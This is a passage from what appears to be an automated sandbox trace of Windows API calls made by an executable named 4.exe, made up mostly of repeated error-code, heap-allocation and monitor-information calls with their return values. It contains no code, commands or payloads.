"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\4.exe")) returned 0x56 [0054.401] GetLastError () returned 0x0 [0054.401] SetLastError (dwErrCode=0x0) [0054.401] GetLastError () returned 0x0 [0054.401] SetLastError (dwErrCode=0x0) [0054.401] GetLastError () returned 0x0 [0054.401] SetLastError (dwErrCode=0x0) [0054.401] GetLastError () returned 0x0 [0054.401] SetLastError (dwErrCode=0x0) [0054.401] GetLastError () returned 0x0 [0054.401] SetLastError (dwErrCode=0x0) [0054.401] GetLastError () returned 0x0 [0054.402] SetLastError (dwErrCode=0x0) [0054.402] GetLastError () returned 0x0 [0054.402] SetLastError (dwErrCode=0x0) [0054.402] GetLastError () returned 0x0 [0054.402] SetLastError (dwErrCode=0x0) [0054.402] GetLastError () returned 0x0 [0054.402] SetLastError (dwErrCode=0x0) [0054.402] GetLastError () returned 0x0 [0054.402] SetLastError (dwErrCode=0x0) [0054.402] GetLastError () returned 0x0 [0054.402] SetLastError (dwErrCode=0x0) [0054.402] GetLastError () returned 0x0 [0054.402] SetLastError (dwErrCode=0x0) [0054.402] GetLastError () returned 0x0 [0054.402] SetLastError (dwErrCode=0x0) [0054.402] GetLastError () returned 0x0 [0054.402] SetLastError (dwErrCode=0x0) [0054.402] GetLastError () returned 0x0 [0054.402] SetLastError (dwErrCode=0x0) [0054.402] GetLastError () returned 0x0 [0054.402] SetLastError (dwErrCode=0x0) [0054.402] GetLastError () returned 0x0 [0054.402] SetLastError (dwErrCode=0x0) [0054.402] GetLastError () returned 0x0 [0054.402] SetLastError (dwErrCode=0x0) [0054.402] GetLastError () returned 0x0 [0054.402] SetLastError (dwErrCode=0x0) [0054.402] GetLastError () returned 0x0 [0054.402] SetLastError (dwErrCode=0x0) [0054.402] GetLastError () returned 0x0 [0054.402] SetLastError (dwErrCode=0x0) [0054.402] GetLastError () returned 0x0 [0054.403] SetLastError (dwErrCode=0x0) [0054.403] GetLastError () returned 0x0 [0054.403] SetLastError (dwErrCode=0x0) [0054.403] GetLastError () returned 0x0 [0054.403] SetLastError (dwErrCode=0x0) [0054.403] GetLastError () returned 0x0 [0054.403] SetLastError (dwErrCode=0x0) [0054.403] GetLastError () returned 0x0 [0054.403] SetLastError (dwErrCode=0x0) [0054.403] GetLastError () returned 0x0 [0054.403] SetLastError (dwErrCode=0x0) [0054.403] GetLastError () returned 0x0 [0054.403] SetLastError (dwErrCode=0x0) [0054.403] GetLastError () returned 0x0 [0054.403] SetLastError (dwErrCode=0x0) [0054.403] GetLastError () returned 0x0 [0054.403] SetLastError (dwErrCode=0x0) [0054.403] GetLastError () returned 0x0 [0054.403] SetLastError (dwErrCode=0x0) [0054.403] GetLastError () returned 0x0 [0054.403] SetLastError (dwErrCode=0x0) [0054.403] GetLastError () returned 0x0 [0054.403] SetLastError (dwErrCode=0x0) [0054.403] GetLastError () returned 0x0 [0054.403] SetLastError (dwErrCode=0x0) [0054.403] GetLastError () returned 0x0 [0054.403] SetLastError (dwErrCode=0x0) [0054.403] GetLastError () returned 0x0 [0054.403] SetLastError (dwErrCode=0x0) [0054.403] GetLastError () returned 0x0 [0054.403] SetLastError (dwErrCode=0x0) [0054.403] GetLastError () returned 0x0 [0054.404] SetLastError (dwErrCode=0x0) [0054.404] GetLastError () returned 0x0 [0054.404] SetLastError (dwErrCode=0x0) [0054.404] GetLastError () returned 0x0 [0054.404] SetLastError (dwErrCode=0x0) [0054.404] GetLastError () returned 0x0 [0054.404] SetLastError (dwErrCode=0x0) [0054.404] GetLastError () returned 0x0 [0054.404] SetLastError (dwErrCode=0x0) [0054.404] GetLastError () returned 0x0 [0054.404] SetLastError (dwErrCode=0x0) [0054.404] GetLastError () returned 0x0 [0054.404] SetLastError (dwErrCode=0x0) [0054.404] GetLastError () returned 0x0 [0054.404] SetLastError (dwErrCode=0x0) [0054.404] GetLastError () returned 0x0 [0054.404] SetLastError (dwErrCode=0x0) [0054.404] GetLastError () returned 0x0 [0054.404] SetLastError (dwErrCode=0x0) [0054.404] GetLastError () returned 0x0 [0054.404] SetLastError (dwErrCode=0x0) [0054.404] GetLastError () returned 0x0 [0054.404] SetLastError (dwErrCode=0x0) [0054.404] GetLastError () returned 0x0 [0054.404] SetLastError (dwErrCode=0x0) [0054.404] GetLastError () returned 0x0 [0054.404] SetLastError (dwErrCode=0x0) [0054.404] GetLastError () returned 0x0 [0054.405] SetLastError (dwErrCode=0x0) [0054.405] GetLastError () returned 0x0 [0054.405] SetLastError (dwErrCode=0x0) [0054.405] GetLastError () returned 0x0 [0054.405] SetLastError (dwErrCode=0x0) [0054.405] GetLastError () returned 0x0 [0054.405] SetLastError (dwErrCode=0x0) [0054.405] GetLastError () returned 0x0 [0054.405] SetLastError (dwErrCode=0x0) [0054.405] GetLastError () returned 0x0 [0054.405] SetLastError (dwErrCode=0x0) [0054.405] GetLastError () returned 0x0 [0054.405] SetLastError (dwErrCode=0x0) [0054.405] GetLastError () returned 0x0 [0054.405] SetLastError (dwErrCode=0x0) [0054.405] GetLastError () returned 0x0 [0054.405] SetLastError (dwErrCode=0x0) [0054.405] GetLastError () returned 0x0 [0054.405] SetLastError (dwErrCode=0x0) [0054.405] GetLastError () returned 0x0 [0054.405] SetLastError (dwErrCode=0x0) [0054.405] GetLastError () returned 0x0 [0054.405] SetLastError (dwErrCode=0x0) [0054.405] GetLastError () returned 0x0 [0054.405] SetLastError (dwErrCode=0x0) [0054.405] GetLastError () returned 0x0 [0054.405] SetLastError (dwErrCode=0x0) [0054.405] GetLastError () returned 0x0 [0054.405] SetLastError (dwErrCode=0x0) [0054.405] GetLastError () returned 0x0 [0054.405] SetLastError (dwErrCode=0x0) [0054.405] GetLastError () returned 0x0 [0054.405] SetLastError (dwErrCode=0x0) [0054.406] GetLastError () returned 0x0 [0054.406] SetLastError (dwErrCode=0x0) [0054.406] GetLastError () returned 0x0 [0054.406] SetLastError (dwErrCode=0x0) [0054.406] GetLastError () returned 0x0 [0054.406] SetLastError (dwErrCode=0x0) [0054.406] GetLastError () returned 0x0 [0054.406] SetLastError (dwErrCode=0x0) [0054.406] GetLastError () returned 0x0 [0054.406] SetLastError (dwErrCode=0x0) [0054.406] GetLastError () returned 0x0 [0054.406] SetLastError (dwErrCode=0x0) [0054.406] GetLastError () returned 0x0 [0054.406] SetLastError (dwErrCode=0x0) [0054.406] GetLastError () returned 0x0 [0054.406] SetLastError (dwErrCode=0x0) [0054.406] GetLastError () returned 0x0 [0054.406] SetLastError (dwErrCode=0x0) [0054.406] GetLastError () returned 0x0 [0054.406] SetLastError (dwErrCode=0x0) [0054.406] GetLastError () returned 0x0 [0054.406] SetLastError (dwErrCode=0x0) [0054.406] GetLastError () returned 0x0 [0054.406] SetLastError (dwErrCode=0x0) [0054.406] GetLastError () returned 0x0 [0054.406] SetLastError (dwErrCode=0x0) [0054.406] GetLastError () returned 0x0 [0054.406] SetLastError (dwErrCode=0x0) [0054.406] GetLastError () returned 0x0 [0054.406] SetLastError (dwErrCode=0x0) [0054.406] GetLastError () returned 0x0 [0054.406] SetLastError (dwErrCode=0x0) [0054.407] GetLastError () returned 0x0 [0054.407] SetLastError (dwErrCode=0x0) [0054.407] GetLastError () returned 0x0 [0054.407] SetLastError (dwErrCode=0x0) [0054.407] GetLastError () returned 0x0 [0054.407] SetLastError (dwErrCode=0x0) [0054.407] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x0, Size=0x5f) returned 0x4ef0950 [0054.407] GetLastError () returned 0x0 [0054.407] SetLastError (dwErrCode=0x0) [0054.407] GetLastError () returned 0x0 [0054.407] SetLastError (dwErrCode=0x0) [0054.407] GetLastError () returned 0x0 [0054.407] SetLastError (dwErrCode=0x0) [0054.407] GetLastError () returned 0x0 [0054.407] SetLastError (dwErrCode=0x0) [0054.407] GetLastError () returned 0x0 [0054.407] SetLastError (dwErrCode=0x0) [0054.407] GetLastError () returned 0x0 [0054.407] SetLastError (dwErrCode=0x0) [0054.407] GetLastError () returned 0x0 [0054.407] SetLastError (dwErrCode=0x0) [0054.407] GetLastError () returned 0x0 [0054.407] SetLastError (dwErrCode=0x0) [0054.407] GetLastError () returned 0x0 [0054.407] SetLastError (dwErrCode=0x0) [0054.407] GetLastError () returned 0x0 [0054.407] SetLastError (dwErrCode=0x0) [0054.407] GetLastError () returned 0x0 [0054.407] SetLastError (dwErrCode=0x0) [0054.407] GetLastError () returned 0x0 [0054.407] SetLastError (dwErrCode=0x0) [0054.407] GetLastError () returned 0x0 [0054.407] SetLastError (dwErrCode=0x0) [0054.408] GetLastError () returned 0x0 [0054.408] SetLastError (dwErrCode=0x0) [0054.408] GetLastError () returned 0x0 [0054.408] SetLastError (dwErrCode=0x0) [0054.408] GetLastError () returned 0x0 [0054.408] SetLastError (dwErrCode=0x0) [0054.408] GetLastError () returned 0x0 [0054.408] SetLastError (dwErrCode=0x0) [0054.408] GetLastError () returned 0x0 [0054.408] SetLastError (dwErrCode=0x0) [0054.408] GetLastError () returned 0x0 [0054.408] SetLastError (dwErrCode=0x0) [0054.408] GetLastError () returned 0x0 [0054.408] SetLastError (dwErrCode=0x0) [0054.408] GetLastError () returned 0x0 [0054.408] SetLastError (dwErrCode=0x0) [0054.408] GetLastError () returned 0x0 [0054.408] SetLastError (dwErrCode=0x0) [0054.408] GetLastError () returned 0x0 [0054.408] SetLastError (dwErrCode=0x0) [0054.408] GetLastError () returned 0x0 [0054.408] SetLastError (dwErrCode=0x0) [0054.408] GetLastError () returned 0x0 [0054.408] SetLastError (dwErrCode=0x0) [0054.408] GetLastError () returned 0x0 [0054.408] SetLastError (dwErrCode=0x0) [0054.408] GetLastError () returned 0x0 [0054.408] SetLastError (dwErrCode=0x0) [0054.408] GetLastError () returned 0x0 [0054.408] SetLastError (dwErrCode=0x0) [0054.408] GetLastError () returned 0x0 [0054.408] SetLastError (dwErrCode=0x0) [0054.408] GetLastError () returned 0x0 [0054.409] SetLastError (dwErrCode=0x0) [0054.409] GetLastError () returned 0x0 [0054.409] SetLastError (dwErrCode=0x0) [0054.409] GetLastError () returned 0x0 [0054.409] SetLastError (dwErrCode=0x0) [0054.409] GetLastError () returned 0x0 [0054.409] SetLastError (dwErrCode=0x0) [0054.409] GetLastError () returned 0x0 [0054.409] SetLastError (dwErrCode=0x0) [0054.409] GetLastError () returned 0x0 [0054.409] SetLastError (dwErrCode=0x0) [0054.409] GetLastError () returned 0x0 [0054.409] SetLastError (dwErrCode=0x0) [0054.409] GetLastError () returned 0x0 [0054.409] SetLastError (dwErrCode=0x0) [0054.409] GetLastError () returned 0x0 [0054.409] SetLastError (dwErrCode=0x0) [0054.409] GetLastError () returned 0x0 [0054.409] SetLastError (dwErrCode=0x0) [0054.409] GetLastError () returned 0x0 [0054.409] SetLastError (dwErrCode=0x0) [0054.409] GetLastError () returned 0x0 [0054.409] SetLastError (dwErrCode=0x0) [0054.409] GetLastError () returned 0x0 [0054.409] SetLastError (dwErrCode=0x0) [0054.409] GetLastError () returned 0x0 [0054.409] SetLastError (dwErrCode=0x0) [0054.409] GetLastError () returned 0x0 [0054.409] SetLastError (dwErrCode=0x0) [0054.409] GetLastError () returned 0x0 [0054.409] SetLastError (dwErrCode=0x0) [0054.409] GetLastError () returned 0x0 [0054.410] SetLastError (dwErrCode=0x0) [0054.410] GetLastError () returned 0x0 [0054.410] SetLastError (dwErrCode=0x0) [0054.410] GetLastError () returned 0x0 [0054.410] SetLastError (dwErrCode=0x0) [0054.410] GetLastError () returned 0x0 [0054.410] SetLastError (dwErrCode=0x0) [0054.410] GetLastError () returned 0x0 [0054.410] SetLastError (dwErrCode=0x0) [0054.410] GetLastError () returned 0x0 [0054.410] SetLastError (dwErrCode=0x0) [0054.410] GetLastError () returned 0x0 [0054.410] SetLastError (dwErrCode=0x0) [0054.410] GetLastError () returned 0x0 [0054.410] SetLastError (dwErrCode=0x0) [0054.410] GetLastError () returned 0x0 [0054.410] SetLastError (dwErrCode=0x0) [0054.410] GetLastError () returned 0x0 [0054.410] SetLastError (dwErrCode=0x0) [0054.410] GetLastError () returned 0x0 [0054.410] SetLastError (dwErrCode=0x0) [0054.410] GetLastError () returned 0x0 [0054.410] SetLastError (dwErrCode=0x0) [0054.410] GetLastError () returned 0x0 [0054.410] SetLastError (dwErrCode=0x0) [0054.410] GetLastError () returned 0x0 [0054.410] SetLastError (dwErrCode=0x0) [0054.410] GetLastError () returned 0x0 [0054.410] SetLastError (dwErrCode=0x0) [0054.410] GetLastError () returned 0x0 [0054.410] SetLastError (dwErrCode=0x0) [0054.410] GetLastError () returned 0x0 [0054.410] SetLastError (dwErrCode=0x0) [0054.411] GetLastError () returned 0x0 [0054.411] SetLastError (dwErrCode=0x0) [0054.411] GetLastError () returned 0x0 [0054.411] SetLastError (dwErrCode=0x0) [0054.411] GetLastError () returned 0x0 [0054.411] SetLastError (dwErrCode=0x0) [0054.411] GetLastError () returned 0x0 [0054.411] SetLastError (dwErrCode=0x0) [0054.411] GetLastError () returned 0x0 [0054.411] SetLastError (dwErrCode=0x0) [0054.411] GetLastError () returned 0x0 [0054.411] SetLastError (dwErrCode=0x0) [0054.411] GetLastError () returned 0x0 [0054.411] SetLastError (dwErrCode=0x0) [0054.411] GetLastError () returned 0x0 [0054.411] SetLastError (dwErrCode=0x0) [0054.411] GetLastError () returned 0x0 [0054.411] SetLastError (dwErrCode=0x0) [0054.411] GetLastError () returned 0x0 [0054.411] SetLastError (dwErrCode=0x0) [0054.411] GetLastError () returned 0x0 [0054.411] SetLastError (dwErrCode=0x0) [0054.411] GetLastError () returned 0x0 [0054.411] SetLastError (dwErrCode=0x0) [0054.411] GetLastError () returned 0x0 [0054.411] SetLastError (dwErrCode=0x0) [0054.411] GetLastError () returned 0x0 [0054.411] SetLastError (dwErrCode=0x0) [0054.411] GetLastError () returned 0x0 [0054.411] SetLastError (dwErrCode=0x0) [0054.411] GetLastError () returned 0x0 [0054.411] SetLastError (dwErrCode=0x0) [0054.412] GetLastError () returned 0x0 [0054.412] SetLastError (dwErrCode=0x0) [0054.412] GetLastError () returned 0x0 [0054.412] SetLastError (dwErrCode=0x0) [0054.412] GetLastError () returned 0x0 [0054.412] SetLastError (dwErrCode=0x0) [0054.412] GetLastError () returned 0x0 [0054.412] SetLastError (dwErrCode=0x0) [0054.412] GetLastError () returned 0x0 [0054.412] SetLastError (dwErrCode=0x0) [0054.412] GetLastError () returned 0x0 [0054.412] SetLastError (dwErrCode=0x0) [0054.412] GetLastError () returned 0x0 [0054.412] SetLastError (dwErrCode=0x0) [0054.412] GetLastError () returned 0x0 [0054.412] SetLastError (dwErrCode=0x0) [0054.412] GetLastError () returned 0x0 [0054.412] SetLastError (dwErrCode=0x0) [0054.412] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x98) returned 0x4ef3cd8 [0054.412] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x1f) returned 0x4ef17f0 [0054.412] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x36) returned 0x4ef3d78 [0054.412] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x37) returned 0x4ef3db8 [0054.412] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x3c) returned 0x4ef3df8 [0054.412] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x31) returned 0x4ef3e40 [0054.412] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x17) returned 0x4ef09b8 [0054.412] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x24) returned 0x4ef3e80 [0054.412] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x14) returned 0x4ef3eb0 [0054.412] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0xd) returned 0x4ef0bc0 [0054.412] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x25) returned 0x4ef3ed0 [0054.412] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x39) returned 0x4ef3f00 [0054.412] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x18) returned 0x4ef3f48 [0054.412] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x17) returned 0x4ef3f68 [0054.412] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0xe) returned 0x4ef0bd8 [0054.412] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x69) returned 0x4ef2a68 [0054.412] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x3e) returned 0x4ef3f88 [0054.412] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x1b) returned 0x4ef1818 [0054.413] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x1d) returned 0x4ef1840 [0054.413] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x48) returned 0x4ef2ae0 [0054.413] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x12) returned 0x4ef2b30 [0054.413] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x18) returned 0x4ef2b50 [0054.413] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x1b) returned 0x4ef1868 [0054.413] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x24) returned 0x4ef2b70 [0054.413] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x29) returned 0x4ef2ba0 [0054.413] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x1e) returned 0x4ef1890 [0054.413] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x41) returned 0x4ef2bd8 [0054.413] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x17) returned 0x4ef2c28 [0054.413] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0xf) returned 0x4ef0bf0 [0054.413] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x16) returned 0x4ef2c48 [0054.413] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x2a) returned 0x4ef2c68 [0054.413] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x29) returned 0x4ef2ca0 [0054.413] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x15) returned 0x4ef2cd8 [0054.413] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x1e) returned 0x4ef18b8 [0054.413] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x2a) returned 0x4ef2cf8 [0054.413] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x12) returned 0x4ef2d30 [0054.413] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x18) returned 0x4ef2d50 [0054.413] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x46) returned 0x4ef2d70 [0054.413] HeapFree (in: hHeap=0x4ee0000, dwFlags=0x0, lpMem=0x4ef3540 | out: hHeap=0x4ee0000) returned 1 [0054.414] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x80) returned 0x4ef2dc0 [0054.414] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0054.414] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x800) returned 0x4ef2e48 [0054.414] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0054.414] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4084f2) returned 0x0 [0054.414] RtlSizeHeap (HeapHandle=0x4ee0000, Flags=0x0, MemoryPointer=0x4ef2dc0) returned 0x80 [0054.415] RtlSizeHeap (HeapHandle=0x4ee0000, Flags=0x0, MemoryPointer=0x4ef2dc0) returned 0x80 [0054.415] RtlSizeHeap (HeapHandle=0x4ee0000, Flags=0x0, MemoryPointer=0x4ef2dc0) returned 0x80 [0054.415] RtlSizeHeap (HeapHandle=0x4ee0000, Flags=0x0, MemoryPointer=0x4ef2dc0) returned 0x80 [0054.415] GetLastError () returned 0x0 [0054.415] SetLastError (dwErrCode=0x0) [0054.415] GetLastError () returned 0x0 [0054.415] SetLastError (dwErrCode=0x0) [0054.415] GetLastError () returned 0x0 [0054.415] SetLastError (dwErrCode=0x0) [0054.415] GetLastError () returned 0x0 [0054.415] SetLastError (dwErrCode=0x0) [0054.415] GetLastError () returned 0x0 [0054.415] SetLastError (dwErrCode=0x0) [0054.415] GetLastError () returned 0x0 [0054.415] SetLastError (dwErrCode=0x0) [0054.415] GetLastError () returned 0x0 [0054.416] SetLastError (dwErrCode=0x0) [0054.416] GetLastError () returned 0x0 [0054.416] SetLastError (dwErrCode=0x0) [0054.416] GetLastError () returned 0x0 [0054.416] SetLastError (dwErrCode=0x0) [0054.416] GetLastError () returned 0x0 [0054.416] SetLastError (dwErrCode=0x0) [0054.416] GetLastError () returned 0x0 [0054.416] SetLastError (dwErrCode=0x0) [0054.416] GetLastError () returned 0x0 [0054.416] SetLastError (dwErrCode=0x0) [0054.416] GetLastError () returned 0x0 [0054.416] SetLastError (dwErrCode=0x0) [0054.416] GetLastError () returned 0x0 [0054.416] SetLastError (dwErrCode=0x0) [0054.416] GetLastError () returned 0x0 [0054.416] SetLastError (dwErrCode=0x0) [0054.416] GetLastError () returned 0x0 [0054.416] SetLastError (dwErrCode=0x0) [0054.416] GetLastError () returned 0x0 [0054.416] SetLastError (dwErrCode=0x0) [0054.416] GetLastError () returned 0x0 [0054.416] SetLastError (dwErrCode=0x0) [0054.416] GetLastError () returned 0x0 [0054.416] SetLastError (dwErrCode=0x0) [0054.416] GetLastError () returned 0x0 [0054.416] SetLastError (dwErrCode=0x0) [0054.416] GetLastError () returned 0x0 [0054.416] SetLastError (dwErrCode=0x0) [0054.416] GetLastError () returned 0x0 [0054.416] SetLastError (dwErrCode=0x0) [0054.416] GetLastError () returned 0x0 [0054.416] SetLastError (dwErrCode=0x0) [0054.417] GetLastError () returned 0x0 [0054.417] SetLastError (dwErrCode=0x0) [0054.417] GetLastError () returned 0x0 [0054.417] SetLastError (dwErrCode=0x0) [0054.417] GetLastError () returned 0x0 [0054.417] SetLastError (dwErrCode=0x0) [0054.417] GetLastError () returned 0x0 [0054.417] SetLastError (dwErrCode=0x0) [0054.417] GetLastError () returned 0x0 [0054.417] SetLastError (dwErrCode=0x0) [0054.417] GetLastError () returned 0x0 [0054.417] SetLastError (dwErrCode=0x0) [0054.417] GetLastError () returned 0x0 [0054.417] SetLastError (dwErrCode=0x0) [0054.417] GetLastError () returned 0x0 [0054.417] SetLastError (dwErrCode=0x0) [0054.417] GetLastError () returned 0x0 [0054.417] SetLastError (dwErrCode=0x0) [0054.417] GetLastError () returned 0x0 [0054.417] SetLastError (dwErrCode=0x0) [0054.417] GetLastError () returned 0x0 [0054.417] SetLastError (dwErrCode=0x0) [0054.417] GetLastError () returned 0x0 [0054.417] SetLastError (dwErrCode=0x0) [0054.417] GetLastError () returned 0x0 [0054.417] SetLastError (dwErrCode=0x0) [0054.417] GetLastError () returned 0x0 [0054.417] SetLastError (dwErrCode=0x0) [0054.417] GetLastError () returned 0x0 [0054.417] SetLastError (dwErrCode=0x0) [0054.417] GetLastError () returned 0x0 [0054.417] SetLastError (dwErrCode=0x0) [0054.417] GetLastError () returned 0x0 [0054.418] SetLastError (dwErrCode=0x0) [0054.418] GetLastError () returned 0x0 [0054.418] SetLastError (dwErrCode=0x0) [0054.418] GetLastError () returned 0x0 [0054.418] SetLastError (dwErrCode=0x0) [0054.418] GetLastError () returned 0x0 [0054.418] SetLastError (dwErrCode=0x0) [0054.418] GetLastError () returned 0x0 [0054.418] SetLastError (dwErrCode=0x0) [0054.418] GetLastError () returned 0x0 [0054.418] SetLastError (dwErrCode=0x0) [0054.418] GetLastError () returned 0x0 [0054.418] SetLastError (dwErrCode=0x0) [0054.418] GetLastError () returned 0x0 [0054.418] SetLastError (dwErrCode=0x0) [0054.418] GetLastError () returned 0x0 [0054.418] SetLastError (dwErrCode=0x0) [0054.418] GetLastError () returned 0x0 [0054.418] SetLastError (dwErrCode=0x0) [0054.418] GetLastError () returned 0x0 [0054.418] SetLastError (dwErrCode=0x0) [0054.418] GetLastError () returned 0x0 [0054.418] SetLastError (dwErrCode=0x0) [0054.418] GetLastError () returned 0x0 [0054.418] SetLastError (dwErrCode=0x0) [0054.418] GetLastError () returned 0x0 [0054.418] SetLastError (dwErrCode=0x0) [0054.418] GetLastError () returned 0x0 [0054.418] SetLastError (dwErrCode=0x0) [0054.418] GetLastError () returned 0x0 [0054.418] SetLastError (dwErrCode=0x0) [0054.418] GetLastError () returned 0x0 [0054.419] SetLastError (dwErrCode=0x0) [0054.419] GetLastError () returned 0x0 [0054.419] SetLastError (dwErrCode=0x0) [0054.419] GetLastError () returned 0x0 [0054.419] SetLastError (dwErrCode=0x0) [0054.419] GetLastError () returned 0x0 [0054.419] SetLastError (dwErrCode=0x0) [0054.419] GetLastError () returned 0x0 [0054.419] SetLastError (dwErrCode=0x0) [0054.419] GetLastError () returned 0x0 [0054.419] SetLastError (dwErrCode=0x0) [0054.419] GetLastError () returned 0x0 [0054.419] SetLastError (dwErrCode=0x0) [0054.419] GetLastError () returned 0x0 [0054.419] SetLastError (dwErrCode=0x0) [0054.419] GetLastError () returned 0x0 [0054.419] SetLastError (dwErrCode=0x0) [0054.419] GetLastError () returned 0x0 [0054.419] SetLastError (dwErrCode=0x0) [0054.419] GetLastError () returned 0x0 [0054.419] SetLastError (dwErrCode=0x0) [0054.419] GetLastError () returned 0x0 [0054.419] SetLastError (dwErrCode=0x0) [0054.419] GetLastError () returned 0x0 [0054.419] SetLastError (dwErrCode=0x0) [0054.419] GetLastError () returned 0x0 [0054.419] SetLastError (dwErrCode=0x0) [0054.419] GetLastError () returned 0x0 [0054.420] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.420] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.420] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.420] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.420] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.420] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.420] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.420] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.420] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.420] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.420] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.420] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.420] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.420] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.420] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.420] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.420] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.420] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.420] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.420] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.421] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.421] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.421] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.421] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: 